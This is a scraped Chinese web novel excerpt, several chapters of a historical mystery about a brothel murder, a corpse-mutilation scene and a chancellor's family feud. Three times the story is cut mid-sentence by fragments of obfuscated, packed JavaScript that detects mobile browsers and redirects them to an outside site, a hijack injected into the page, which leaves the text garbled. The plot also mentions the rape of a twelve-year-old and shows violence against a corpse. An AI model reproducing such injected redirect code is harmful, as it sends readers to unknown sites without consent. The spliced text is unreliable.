“承欢水,也是青楼楚馆用在恩客身上的助兴之药。” 裴子耽立刻将药瓶扔到小五手上,扔完后,还扯下一块衣角用力擦手:“竟是此等污秽之物!” “这药一次最多服用三滴,若是服用过量,轻则让人神志不清,重则,当场死亡。” 宋颜夕说着,直接走到媚儿面前:“珠儿年龄尚小,自然不知此药药性。所以,这主意,是你出的吧,媚儿姑娘。” “对,这药就是我给徐飞服下的,但那又怎么样,我都说了,人就是我杀的。是你们不信。” “怪就怪在这里。让一个神志不清的人****,必须要通过某种媒介给他心理暗示。徐飞出事后,我们第一时间搜查了现场,却并没有发现疑似媒介之物。也就是说,有人趁我们在楼下的时候,偷偷转移了那个东西。” 宋颜夕的目光落在珠儿身上:“那个人,便是你吧,珠儿。” 珠儿一直在发抖,并没有回答。直到裴子耽命人将一副画轴扔到她面前,她才送了口:“是,是我做的。” 可她明明已经将画轴扔到井里了,为什么他们还能找回来? “不妨让我来猜一猜。你们杀徐飞,是早就计算好的吧。因为徐飞爱画,是以,你们才以画为媒介,诱使他**。画被扔到井里,已经看不出原本的模样。但我猜测,那画中场景,便是那位姑娘当时在如意房坠楼的场景。” 徐飞因为受了那副画的引导,再加上承欢水的影响,这才从楼上一跃而下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596211|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴子耽猛地一拍手:“我懂了。你们定是偷了朱勇送给徐飞的画,在徐飞找画的过程中,偷偷将徐飞引到如意房间,并且,还给了他一副调包的画。为了拉客,春娘让琦梦阁的姑娘学习琴棋书画,是以,你们当中必定有人擅长作画。” 说到这儿,裴子耽脸色一沉:“这画可不是这么快就能画好的,你们究竟是从何时开始谋划**?又为何选在今日动手?还有啊,你们为何要杀徐飞?” 一连三个问题,媚儿和珠儿都沉默了。 很显然,她们并不想将更多人扯出来。 “还是我来说吧。” 宋颜夕伸了个懒腰:“迷了心智的人根本就无法控制自己的言行思想,是以,并非什么都可以成为媒介之物的。除非,徐飞本身对那东西留下了极深刻的印象。若我没猜错的话,当年那个坠楼的姑娘,和徐飞有关系吧?” “就是他推我姐姐下楼的,是他杀了我姐姐。” 提到这件事的时候,珠儿一脸愤懑。 裴子耽皱眉:“你说什么?当年那件案子不是以**结案了吗?” “那是你们官官相护。” 珠儿胡乱擦去脸上的泪:“那姓徐的就是个变态,当年,我姐姐接待他的时候,可没少挨打。那时,家中贫困,父亲狠心将我和姐姐一起卖到琦梦阁。因为我年龄小,接不了客,春娘就给姐姐安排了两份的活。” 那个被推下楼的姑娘叫阿喜,起初也是死活不肯接活。但春娘用珠儿威胁她,她只能被迫答应。 原本,日子也能囫囵过下去。可自从徐飞看上阿喜之后,阿喜的苦难才真正来临。 那是个占有欲极强的疯子,因为妻子跟人跑了,他便到青楼里寻欢作乐。 而阿喜,便是因为长得与他妻子有几分相似,这才被他看中。 他将对妻子的怨恨撒在阿喜身上,每每将阿喜打得半死不活。但因为他钱给得多。春娘还是一而再再二三地让阿喜去伺候他。 “那天,徐飞喝醉了酒,将姐姐认成了他那个跟人私奔的妻子。当时,我正好给他送酒菜,我是亲眼看到他将姐姐推下去的。” 裴子耽问:“那如意的歌声又是怎么回事?” 第184章:这就是真相 “我想,大概是琦梦阁的姑娘在模仿如意的歌声吧?毕竟,那也是春娘训练她们的一种手段。”宋颜夕道。 “既然你当初看到是徐飞杀了你姐姐,为何不出来指证?” “你怎知珠儿没有指证?”这话是媚儿说的。 “徐飞是生意人,与当日来办案的官差关系极好。当时,珠儿不过是说了句实话,便差点被活活打死。若不是我们偷偷救下她,珠儿根本活不到现在。” 阿喜性格很好,和琦梦楼的姑娘关系都不错。是以,自从阿喜遇害后,琦梦阁的姑娘们就格外照顾珠儿。 这些年,珠儿也将她们当作亲生姐姐看待。 “既然你们这两年都没找徐飞报仇,为何要在今日下手?”这,也是宋颜夕想不通的地方。 这当中,一定又发生了什么。 “那是因为,徐飞认出了珠儿。而且,还强行......侮辱了她。”说到这里,媚儿眼中迸发出强烈的杀意。 “珠儿才十二岁啊。这样的畜生,难道不该杀吗?” 当年,徐飞和那官差要杀珠儿灭口,所以她们一直将珠儿藏在后院。可那日,徐飞不知怎的竟然闯入了后院,并且认出珠儿就是阿喜的妹妹。 “那件事发生之后,珠儿差点跳井寻死。是我们姐妹几个将她拉回来的。” “我当时就该杀了他的,可他力气太大了,我根本就不是他的对手。我不仅没能杀了他,还被他,被他……如果我再强大一点,姐姐就不会死,这一切,都是我的错。” 想到那日的事,珠儿整个身子都在抖。她的五指用力地抓着地面,指尖很快就渗出血来。 宋颜夕朝春分使了个眼色,春分立刻蹲下将她拉了起来:“你没错,错的是那该死的男人。那种畜生,就该下十八层地狱。” “为了给阿喜和珠儿报仇,你们策划了这个**计划?”宋颜夕问,“但为什么是今天呢?你们是不是知道今天会有事发生,料定官府不会在这个案子上费太多心思?这才选择在今日动手?” 听到宋颜夕的问题,媚儿怔住。 “连**的事都招了,还有什么说不得的?”宋颜夕循循善诱,“你是不是早就知道有人要杀林泉?” “我……” 媚儿原本想否认的,但和宋颜夕对视的时候,莫名觉得心底一颤,最后还是答道:“我也是无意间看见有人在林公子的房间内放了东西。” 林泉是琦梦阁的常客,因此,春娘特地在琦梦阁给他留了房间。 琦梦阁的人都知道,那间房,就是林泉专属。 那天,媚儿是无意间看见一个黑衣人潜入了那个房间。 夜里,她曾悄悄进去看过。 “我以为是谁要整蛊林公子,想着一张面具而已,不至于闹出人命。便没有将此事告知春娘。林公子每个月的今天都会来琦梦阁喝花酒,以林公子的脾气,若是被整蛊了,必定会大发雷霆,到时,官府必定会先调查那个在林公子房间内放面具的人,没空管一个商人的死活。正是因为这个,我们这才将杀徐飞的日子定在今天。只是没想到,林公子竟然**。而你们不先找杀死林公子的凶手,反而盯着徐飞的案子不放……” 裴子耽问:“你可还记得那黑衣人的长相?” 媚儿摇头:“那人蒙着面,我并没有看清。” “如此,这线索便又断了。” 正在此时,外头有人来报,徐飞的尸体抬回来了。 “将那晦气东西随意找个地方安置,等他亲属来认尸。”裴子耽摆了摆手,显然对这个徐飞厌恶得很。 “且慢!”宋颜夕却忽然开口,“能否让我们再看看徐飞的尸体?” 裴子耽不解:“姑娘见那腌臜玩意儿作甚?平白污了眼睛。” “待会你就知道了。” 宋颜夕看向珠儿和媚儿,“二位,一起吧?” 还没等她们回答,宋颜夕已经抬腿朝外走去。 裴子耽招了招手:“把她们带上。” 此时此刻,徐飞的尸体就被扔在停尸房里,还没来得及裹上白布。 看到尸体的时候,珠儿的眼睛一片血红。 哪怕徐飞已经**,但珠儿对他的恨意并未消减半分。 宋颜夕反手从小五腰间抽出刀,并且,将刀柄塞到珠儿手里:“不是想报仇吗?光杀了他怎么够呢?去,把他身上的肉一闪一闪削下来,最好是将他挫骨扬灰,让他入不了地府。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601363|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “姑娘,这样不妥吧!” 小五正要阻拦,却被裴子耽喝止:“让她削。” 小五松开珠儿的一瞬间,珠儿便抓着拿把刀疯狂地砍在徐飞的尸体上。 很快,珠儿脸上就溅满了血。但她并未停止,而且,还砍得更卖力了。 血肉横飞的一幕,看呆了一旁的媚儿。 “珠儿……” 她踉跄着后退一步,似乎不认识珠儿一般。 “她心中有恨,若是不发泄,将来也会走上歪路。”宋颜夕解释了一句,“过了心里的那一关,她才能真正重新活在阳光下。” 等到珠儿精疲力尽地倒在那一地的肉片堆里,媚儿在她脸上看到了释然的笑。 “裴大人,此案,你觉得应该怎么判?”宋颜夕走到裴子耽面前,轻飘飘问了一句。 裴子耽沉默片刻,目光在媚儿和珠儿之间反复。 “嫌犯媚儿杀死商贾徐飞,罪证确凿,已认罪伏诛,其妹珠儿劫狱不成当场自戕。徐飞尸首被盗,下落不明,此案已结。” 听完裴子耽的结案陈词,媚儿和珠儿同时愣住。 “大人这是什么意思?” “还不懂吗?” 宋颜夕将媚儿扶起来,“此案已了,你们自由了。不过,上京城你们是不能再待下去了,我会让人送你们出城,你便带着妹妹,好好生活吧。” 春分也将珠儿从血泊中拉出:“记住,从今天开始,你就是全新的珠儿了。要向前看,知道吗?” 珠儿的神情还有些呆滞,却还是重重点了点头:“为了姐姐,我会好好活着的。” “二姑娘人手不够吧?此事,我可以为她们安排。”说话的是裴子耽。 宋颜夕看了他一眼:“那就,劳烦裴少卿了。” “应该的。” 说完,他对小五说道:“你先带媚儿珠儿去洗漱一番,剩下的,知道怎么做了?” 小五还没从刚刚的震惊中回过神来,但对于裴子耽的命令,他也不敢违背:“二位,请跟我来。” 离开之前,媚儿忽然转头对宋颜夕说了一句。 “我虽然没有看清那黑衣人的脸,但有件事,或许对你们有用。” 第185章:乐歆出事 “总觉得在哪儿见过这人,到底会是谁呢?” 回到相府之后,宋颜夕一直在琢磨媚儿的话。 据她所说,那日潜入林泉房间的黑衣人右眼角处有一道疤,若能找到那个人,便能顺藤摸瓜揪出那个在背地里操控一切的人。 她并不认为林泉**只是简单的私怨,这背后,一定隐藏着更大的阴谋。 “姑娘,您说宋相会不会知道些什么呢?”春分问道。 “宋章?” “是啊,我总觉得姑娘和林泉的婚事很蹊跷。或许,宋相和林尚书达成了某种协议。而正是这件事,导致了林泉的死亡。” 春分的话不无道理,但宋章便是知道什么,也是不会告诉她的。 除非...... 正想着,梧桐苑外忽然传来一阵异动。她们正要开门一看究竟,院门已经被撞开。 “把宋彩衣给我抓起来!” 为首的,是老夫人院子里的嬷嬷。 春分立刻挡在宋颜夕面前:“你们想做什么?” “想干什么?当然是把这个扫把星拖下去溺毙。” 随着话音落下,老夫人从众人身后走了出来。同行的,竟然还有姜淑萍和二房三房的婶子。 宋颜夕示意春分退到一边,直接和老夫人对上:“老夫人这是何意?可是孙女又做了什么惹您不快了?” “你还好意思说?自从你这扫把星回府之后,咱们家出了多少事啊。诚儿入狱也就罢了,如今大长公主和林家小子都被你克**,就连钰儿家的孩子都保不住,难道,还留你在这里克死我们所有人吗?” 宋颜夕愣了一下:“大嫂滑胎了?” 怎么这么突然? “母亲,此事怨不得彩儿,是知意自己不小心摔的。而且,大夫已经在为知意诊治了。说不定胎儿还能保住。” “早不摔晚不摔,怎么偏偏是今日?依我看,根本就是被这丧门星害的。” 老夫人今日是打定主意要弄死宋颜夕,而姜淑萍装模作样地劝了几句之后,便站在一旁不吱声了。反倒是二房的婶子替宋颜夕说了几句好话。 “老夫人还真是上下嘴皮一动就给我按上克亲的罪名啊,大长公主的案子,战王殿下已经在查。至于那位林公子嘛,我与他可没有任何关系,他死在青楼,与我何干?” “你倒是巧舌如簧。那钰儿的孩子,总是你克的吧?” “这就更可笑了,正如方才母亲所言,那是嫂子自己摔的,怎么能算在我的头上?” 说到这儿,宋颜夕戏谑的目光落在老夫人身上:“如今大嫂和孩子性命攸关,你们不去大嫂院中陪着,反倒来我这儿闹腾,说起来,你们才是丝毫不关心那孩子死活吧。” “你胡说什么!!” 老夫人疾言厉色:“我们又不是大夫,守在那院中有什么用?只要将你这扫把星除了,钰儿的孩子自会安然无恙。你们几个还愣着干什么?赶紧把她绑了沉塘。” “我看谁敢!” 紫翎回来的时候,正好看到一帮人将宋颜夕围在中间,急得她立刻拔刀冲了上去:“想对我家姑娘下手,得问过我手里的刀答不答应。” 紫翎虽然冲动,却也知道擒贼擒王的道理。 因此,她直接将**架到老夫人脖子上。 “哪里来的野丫头,竟敢对主子不敬?还不快退下!”姜淑萍厉声呵斥。 然而紫翎根本不买她的账,甚至还把刀子往前递了递:“我的主子只有一个。” “反了天了,你们都是吃干饭的吗?还不快把这贱奴拖下去乱棍打死。” 老夫人向来跋扈惯了,哪儿能忍得了有人将刀架在她的脖子上。当下气得面目通红。 “我劝你们都小心些啊。” 宋颜夕慢悠悠地走到紫翎身边,道,“毕竟,刀剑无眼。而且我们家小朋友胆子小,若是吓坏了我家阿翎,不小心在老夫人的脖子上上一道口子。哎呀,那这相府明天可真就得挂白幡了。” “你这恶女,这是在咒我啊。” 老夫人气得不行,可偏偏脖子上架着刀,是以,只能跟个木头人似地站在那儿一动不动。 姜淑萍见此,心中暗暗发笑。 【死老太婆,你也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601364|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天。】 这些年来,老夫人可没少仗着婆母的身份对她颐指气使。虽然她并不喜欢宋颜夕,但如今见老夫人吃瘪,心中却也十分痛快。 连带着,看宋颜夕的眼神都温和了许多。 不过,表面功夫还是得做一做的。 于是,她上前拉着宋颜夕的手:“彩儿啊,你快让你的丫头放开老夫人。你祖母年纪大了,可经不起折腾。” “我若是放了她,她转头就让人将我沉塘了。母亲,您说,这亏本的买卖,我能做吗?” “你看看你这孩子,说的是哪里话?咱们都是一家人,老夫人怎么会要了你的命呢?方才啊,老夫人也就是气糊涂了。你看我们这么多人跟过来,不就是来劝阻老夫人的吗。” 说着,姜淑萍朝刘云香二人使了个眼色。 刘云香和林秋雅会意,立刻上前一步:“大嫂说得没错,彩儿啊,你如今身份尊贵,定然不会与老夫人一般见识的,对吧?” “你们这些混账东西,在说什么荤话?莫非,还要老身看这死丫头的脸色不成?” 老夫人性子倔,半点都不肯放低姿态。 不过,老家伙毕竟还是惜命的,放了几句狠话之后,终于还是低下了那昂贵的头颅。 紫翎收刀的时候,老夫人可算是喘了一口粗气,然而还没等她有所动作,宋颜夕便又下了命令。 “既然大嫂身子不适,我这个做妹妹的自然要去关心一下。想必老夫人也十分关心大嫂肚子里的曾孙吧。阿翎,还不快扶着老夫人去大嫂的院子!” “是,姑娘!” 老夫人几乎是被紫翎押到了乐歆的院子,其他人见状,也不敢上来帮忙。 因为只要他们稍有动作,就直接被春分踹飞了。 刚走进院子,就听见屋内传来几道急切的声音。 “不好,少夫人出血不止,这可怎么办呐!” “再这样下去,可是会一尸两命啊。” “少夫人不行了,快,快去禀报夫人。” 那些丫鬟婆子打开门的时候,正好看到乌泱泱的一群人站在门口。 第186章:他们的争执 宋颜夕伸出头往屋里看了看,果真闻到浓浓的血腥味。 “夫人,少夫人她......” 丫鬟正要开口,却见宋颜夕已经抬腿迈了进去。 “彩儿,这可不是你能进去的地方。”姜淑萍想要阻拦,却收到了宋颜夕的眼神警告。 “若是不想大嫂出事,就别拦我。还有啊,别跟进来。” 宋颜夕的话音落下,春分便像个门神一样挡在所有人面前。不仅如此,屋内的那些丫鬟婆子以及大夫也都被轰了出来。 “宋彩衣,你可真是反了天了。若是钰儿的孩子有个三长两短,我饶不了你。” 老夫人依旧叫嚣着,宋颜夕却充耳不闻。 当她走到床边的时候,乐歆脸上几乎没有血色,但她仍然顽强地睁着眼,嘴里含糊不清地念叨着几个字。 “救,救救我的孩子。” 宋颜夕迅速在她身上点了几下,乐歆便瞬间晕厥过去。 她掏出银针,对准乐歆的命门:“这是你欠我的,既然孩子保不住了,那就把这条命,还给我吧。” 一炷香时间之后,宋颜夕推门而出。 刚出来,就见宋章火急火燎地从夜色中走来。 “怎么样,孩子保住了吗?” 人还没走近,宋章的声音已经传入众人耳中。 老夫人冷哼一声:“大夫都被轰出来了,我的小曾孙哪里还能保住?” “什么?” 宋章脸色一沉,看向站在一边瑟瑟发抖的大夫,厉声问道:“到底是谁让你出来的,还不滚进去救人?” “还不是你那宝贝女儿?” 老夫人指着宋颜夕,阴阳怪气地说道,“我早就说她不是好东西,你们非要留着她,怎么样,如今都尝到苦果了吧?” 宋章看向宋颜夕:“当真是你干的?” “是我。” 宋颜夕直接承认:“那庸医救不了大嫂,我总不能将嫂子和未出世的侄儿的命都系在他身上吧。” “笑话,你说他是庸医,莫非,你这文墨不通的乡下丫头就能救了?” “我虽没有那个本事,但,我手上有救命良药啊。” 宋颜夕看着老夫人,笑着说道,“祖母若是不信,大可以让大夫再为大嫂诊脉。” 宋章立刻朝大夫挥手说道:“还不快进去瞧瞧。” “是是是,小的这就去给少夫人诊脉。” 除了宋章之外,家里的几个女眷都跟了进去。 乐歆还在昏睡,但那大夫的表情却是精彩的很。 “孩子竟然保住了?” “你说什么?这,怎么可能!”声音拔得很高的,是老夫人。 很快,她就意识到自己说错话,半捂着嘴不再开口。 “哎呀彩儿,真是没想到,你身上竟然还有如此奇药。”姜淑萍第一个出来打圆场。 刘云香紧跟其后:“彩儿是从何处得来的神药,不如,也分我们一点儿?” 宋颜夕却是双手一摊:“三叔母都说是神药了,用完自然也就没了。这药是大长公主赐给彩儿的,三叔母若是想要,大可去问问大长公主。” “她都死了,你让我去哪儿问呐!怎么,你还想咒我去死不成?” 话才刚出口,就收到姜淑萍警告的目光。 刘云香轻哼一声,站在一边不再搭理宋颜夕。 “钰儿媳妇还要好生休养,不如,大家伙便都各自回去吧,母亲,您觉得呢?”姜淑萍转身看向老夫人。 “这事儿是了了,但这死丫头的事,还没处理呢。” 老夫人拂袖走出屋子,直接走到宋章面前,直接将紫翎拿刀架着她脖子的事说了。 “老身活到这把年纪,还是头一回见到这般不知尊卑的奴才。我可以不追究宋彩衣的不敬之罪,但那些犯上作乱的奴才,必须处死。” 宋颜夕冷冷开口:“是我下的命令,与我的丫头无关。父亲若是要杀,不妨先杀了我。” 宋章听了此话,额角的青筋几乎都要跳出来:“不孝敬祖母也就罢了,竟然还持刀威胁?宋彩衣啊宋彩衣,学了这么久的礼仪,你连最基本的纲常伦理都不懂吗?” “让我孝敬祖母?首先,也得她有个祖母的样子才行。” 宋颜夕的腰板挺得笔直:“若非我这丫头挺而走险,今日咱们府上怕是要丢了好几条命。” “你这话是什么意思?” “父亲不妨先问问祖母,她身为长者,不由分说便要将晚辈沉塘,是何道理?” “沉塘?” 宋章脸上闪过错愕之色:“母亲,你当真做过此事?” “这死丫头把我们家闹得乌烟瘴气,今日又差点克死了我的曾孙,我出手收拾她,还有错不成?” “母亲,你糊涂啊。彩衣可是您的亲孙女,您便是不喜欢她,日后与她保持距离便是,何至于要了她的命呢?” “恐怕,老夫人如此急着将罪名推在我身上,是另有原因吧。” 宋颜夕漫不经心地走到他们面前,直接和老夫人四目相对:“我刚刚检查了大嫂的身子,她的膝盖上,可是有不少瘀青。这种程度的瘀青,绝对不是摔一跤便能摔出来的。” “你这是什么意思?” “恐怕,是有人看不上我的这位大嫂,背地里给她立规矩。却没想到大嫂身子弱,受不住这严厉的规矩,这才晕厥摔伤吧。” 说着,她微微掀起眼皮:“这个人,便是老夫人您吧。” “我不知道你在说什么。” “祖母否认也没用,个中缘由,等嫂子醒来便能真相大白了。哦,祖母之所以找来这个庸医给大嫂医治,该不会是担心大嫂醒来说出真相,伺机灭口吧?” “母亲,她说的可都是真的?”宋章不可置信地看向老夫人。 老夫人脸色一阵青一阵白:“怎么,连你也不相信我?枉我含辛茹苦地把你带大,在你眼里,我就是这般蛇蝎心肠,连自己的孙儿都要残害吗?” “母亲,我不是那个意思。但这件事,它......” 看着宋章为难的样子,宋颜夕冷冷一笑:“世人都道父亲是大孝子,如今一看果真如此。如今看来,我这个刚出生便被扔到向下的孤女,倒还要感谢祖母的不杀之恩了。” “彩儿你少说几句吧,今日这事可不能再闹大了。” 姜淑萍依旧是那副慈母的模样,让人挑不出一点毛病,倒是一旁的老夫人气得不行。 “早知你今日这般目无尊长,我当年便应该让你爹直接掐死你。果然是贱人生的贱种,上不得台面。过两日,我便把沈泞那贱人的尸骨挖出来问问,她到底是怎么教育女儿的。” 此话一出,宋章脸色顿时一片铁青。 几乎是下意识的,他大手一挥,狠狠在老夫人脸上落下一个巴掌。 第187章:宋章撕破脸 “给我闭嘴!” 这四个字,宋章几乎是吼出来的。 “宋章,你敢打我?我可是你娘。” 这么多年,宋章一直对老夫人恭敬有加,除了年轻时吃过一些苦,老夫人何时受过这等屈辱? 大概是身心受创,她踉跄着后退了好几步,最后,顺着柱子滑坐在地。 “哎呀,逆子打母亲啦,没想到我辛辛苦苦供你读书,最后,却落得这么个下场啊。” 老夫人像个村口泼妇一样坐在地上嚎啕大哭。 这一幕,可是看呆了众人。 宋颜夕勾了勾嘴角,朝宋章福身道:“若是父亲没有其他要问的,彩儿便先退下了。想必,父亲与老夫人还有一些体己话要说。” 宋章脸色依旧不好看,他似乎想要和宋颜夕说什么,最后,还是挥了挥手让她下去了。 宋颜夕离开之后,其他人也都陆陆续续散去。 唯有老夫人坐在地上一直哭骂。 “早知你是个不孝子,当初就不该供你读书,也省得我这一把老骨头还要受你打骂啊……” “我不孝?” 宋章蹲在老夫人面前,目光充血:“若我真是个不孝子,就该在飞黄腾达之后对你不管不顾。若非因为这该死的孝心,我的泞儿也不会含冤死去。泞儿死的时候,连一口棺材都没有。” “你这是为那个贱人鸣不平吗?要怪,就怪她生了个扫把星。” 宋章情绪激动:“你口中那个被扔在乡下的扫把星,是我的亲生女儿,她也是你的亲孙女。你何其忍心,竟然要在我的府邸取她性命?” “原来,这么多年来,你一直在怨我?” 老夫人也不哭了,动作麻利地从地上爬起来:“我早就跟你说过,那个女人配不上你,还有她生的女儿,对你来说就是耻辱。我这么做,都是为了你的前程。若不是我当初让你取了姜淑萍,若非有姜家相助,你以为你如今能坐上丞相的位置吗?” “我不稀罕!” 宋章像是把这十几年的怨气全都释放,盯着老夫人的时候,就像看着仇人:“母亲总是看不起泞儿的出身,可你有没有想过,我们的出身又高贵到哪里去了?” “可你中了状元,我怎么能让那女人毁了你的前途?” “你以为我真的在意这些吗?若不是为了满足你的虚荣心,若非因为你,以死相逼,我与泞儿何止如此?” 面对他的质问,老夫人倒是平静下来了:“所以,你现在是要和我撕破脸吗?别忘记,你身上可是流着我的血。哪怕你心中对我有多大的恨,这辈子,都只能敬我,护我。今日这事,我便当你撒酒疯了。你若还敢对我动手,就别怪我这个做母亲的不给你留情面了。” “母亲何时给我留过情面?这多年来,你最疼的不都是三弟吗?在母亲眼中,我恐怕只是你手中的一棵摇钱树吧!既然你不把我当儿子,我也没必要继续扮演这可笑的孝子了。” 宋章拍了拍手,院子里便冲进来几个人高马大的护卫。 “老夫人身体欠佳,从即日起在青松院修养,任何人不得探视。你们几个,务必好好保护老夫人安全。” 护卫回应:“是!” “你这逆子,这是要囚禁我啊。你们这些奴才,还不快放开我!” 在骂骂咧咧之中,老夫人被强行拖走。 不远处的屋顶上,紫翎和宋颜夕趴在那儿看着这边的一切。 “宋章竟然会对老夫人出手?”这是紫翎没有想到的。 宋颜夕嘴角微勾:“或许,我知道宋章的弱点了。” “是什么?” “沈泞。” 宋章那位原配妻子, 她刚刚可没有错过宋章脸上的表情,从老夫人提到沈泞的那一刻,宋章的情绪就失了控。 或许正如他们先前推测的那样,宋章对沈泞从未忘情,而对于真正的宋彩衣,他一直都在暗中保护。 之所以现在对老夫人出手,不过是担心老夫人的存在会威胁宋彩衣的生命安全吧。 “那,咱们现在怎么办?”紫翎问。 “先回梧桐苑。” 如果她没有猜错,宋章今晚还会来找她。 果然如她猜测的那样,她回到梧桐苑没多久,宋章就来了。 他已经收起一身怒气,此时此刻,依然是那个文质彬彬的丞相。 “彩儿啊,今夜吓着你了吧?你祖母就是这个性子,你也别怪她。” 宋章的语气有些温和,叽里咕噜和她说了一堆废话。 倒是让宋颜夕摸不准了。 这家伙,明知道她是个冒牌货,怎么还如此与她上演这么一出父女情深的戏码? 难道,还想利用她达到某种目的? “父亲多虑了,女儿怎么会与祖母计较这些?父亲今夜前来,怕是还有其他话要与女儿说吧?” “果然,彩儿远比我想象中还要通透。为父此番前来,是为了你的婚事。” 宋颜夕皱眉,这林泉都被杀了,宋章怎么还想着这茬? “说起来,此前是为父识人不清,竟没看出那林家小子是那等孟浪之辈。彩儿放心,为父定给你挑个如意郎君,让你风光出嫁。” “父亲为何如此急着将女儿嫁出去?莫非,您也同祖母一样,认为女儿是个祸害,不愿意将我留在家中?” 宋章脸色微变:“彩儿怎么会有这样的想法?你是我的女儿,为父自然是希望你幸福啊。你如今也到了嫁人的年纪,你娘已经不在了,自然便该由为父替你操持。” 这话,宋颜夕自然是不信的。 不过,她并没有表现出来,而是接着他的话问道:“是女儿误会父亲了。但是父亲,女儿如今也算是大长公主的义女,如今义母尸骨未寒,女儿若是在此时嫁人,怕是会遭天下人诟病,便是陛下那边,怕也会不悦。” 把皇帝搬出来果然有用。 宋章沉思片刻,最终也只能作罢:“彩儿说的不无道理,为父先为你物色佳婿,至于婚事,便往后再拖上一拖。” “那就,劳烦父亲操心了。” 又说了几句话之后,宋章便离开了梧桐苑。 “紫翎,你去查查宋章最近都跟什么人来往?” 紫翎点了点头,跟在宋章身后出了门。 第二天,春分带来一个消息。 杀死林泉的凶手,落网了。 第188章:宋娇娇VS柳如风 “我说那眼角有疤的人听着耳熟,原来是林府的管家。可是,他为何要杀林家父子呢?” 宋颜夕坐在窗前喝茶,正好有一片落花飞到桌上,她便拈起那落花把玩着。 “据说,是因为林家公子多年前曾经欺负过那管家的私生女。那女孩受不了刺激,当天就自缢在家中。这么多年,管家隐忍不发,就是在等一个报仇的时机。” “怪不得他会对林泉的隐疾了若指掌。这个管家,倒也是个人才。竟然能隐忍这么多年。” 宋颜夕将落花扔到窗外:“不过,他在林家这么多年,有的是动手的机会。为何偏偏在这个时候动手呢?还是说,有人许诺了他什么。” “姑娘的意思是,那个管家的背后,还有人?” “是与不是,去问问不就知道了?走吧,咱们去大理寺再走一趟。” 刚走到府门口,却被两只拦路虎拦住去路。 “宋诚,宋娇娇?你们拦着我做什么?” 宋娇娇抬了抬下巴:“昨晚的事我们可都听说了,宋彩衣,你好大的胆子啊,竟敢刺杀祖母?” “四妹妹这话说得好笑,祖母好端端在青松院养病,这刺杀二字从何说起啊?” “若不是因为你以下犯上,祖母怎么会被你气得病倒?如今她连我们都不见,定是你又在背后说我坏话了。” 宋诚点了点头:“我早就说你是个祸害吧,也不知道父亲怎么想的,竟然还把你留在府中。怎么,你这是又要出门?你到底还有没有女子家的矜持?” “本姑娘爱去哪就去哪儿,二哥若是闲来无事,不如多读读书吧,若是再鲁莽行事入了大狱,可没人再救得了你了。” “你这是什么意思?诅咒我吗?” 眼见宋诚将手高高扬起,春分立刻挡在宋颜夕面前:“二公子,这是要对我们家姑娘动手不成?” “主子说话,你一个贱婢也敢插嘴?” 宋娇娇试图把春分拉到一边,结果,使劲一拽,没拉动。 春分依旧稳稳地挡在宋颜夕面前:“保护主子是奴婢的本分,不过,我的主子,可只有我们家姑娘一人。” 说罢,她还挥了挥拳头:“二公子和四姑娘若是再拦着,就别怪奴婢不客气了。” “哟,你个贱婢还敢威胁我们是吧?” 宋娇娇挺直腰板,拽了拽宋诚的衣袖:“二哥,你说,该怎么处置她?” “敢和本公子叫板,自然是......” 话还没说完,宋诚就已经捂着肚子蹲在地上。一转身,却见宋颜夕扭着手腕从他身边走过:“大男人磨磨叽叽的,真是丢人现眼。” “宋彩衣,你竟然,又打我!!!” 宋颜夕那一拳可是用了不小的力气,宋诚捂着肚子,脸都变成了猪肝色。 “二哥,你没事吧?”宋娇娇赶紧将宋诚扶起来。 宋诚咬牙切齿:“这扫把星指不定又出去干什么坏事了,走,咱们跟上去瞧瞧。” 他们一路尾随,却见宋颜夕竟然进了大理寺。 “二哥,宋彩衣来大理寺做什么?” “谁知道她又闯什么祸了?没准,是在外面犯了事,被请来喝茶了。这次,看我不抓住她的小辫子,将她彻底赶出宋家。” “可是,这地方咱们也进不去啊。” 宋诚勾了勾嘴角:“进不去,咱们就在这等她出来。” 宋娇娇捂着胳膊,眼睛朝不远处瞟了瞟,目光中流露出喜悦之色:“就在这等啊?这也太冷了。” “你要是怕冷就先回去。” 宋娇娇转身就走:“这可是你说的啊,那我就先走了。” 见宋娇娇溜得贼快,宋诚扯了扯嘴角:“这丫头,什么时候这么怕冷了?” 宋娇娇几乎是小跑着追上柳如风的。 “柳世子,真是没想到会在这遇见你啊。” 看到宋娇娇的时候,柳如风下意识后退一步。 “宋四姑娘,还请你与我保持距离。我们并不相熟。” 宋娇娇仿佛看不见他眼中的疏离:“你与我多说说话,咱们不就相熟了嘛。柳世子是来大理寺公干?” “无可奉告。” “听闻陛下将重启请神仪式,不知,世子可会参加?” 因为大长公主“薨逝”,请神仪式被推迟,就在今日,皇帝已经下令重启,日子就定在三天后。 而且,此次仪式还破格让朝中三品以上大臣的家眷参加,接受神灵赐福。 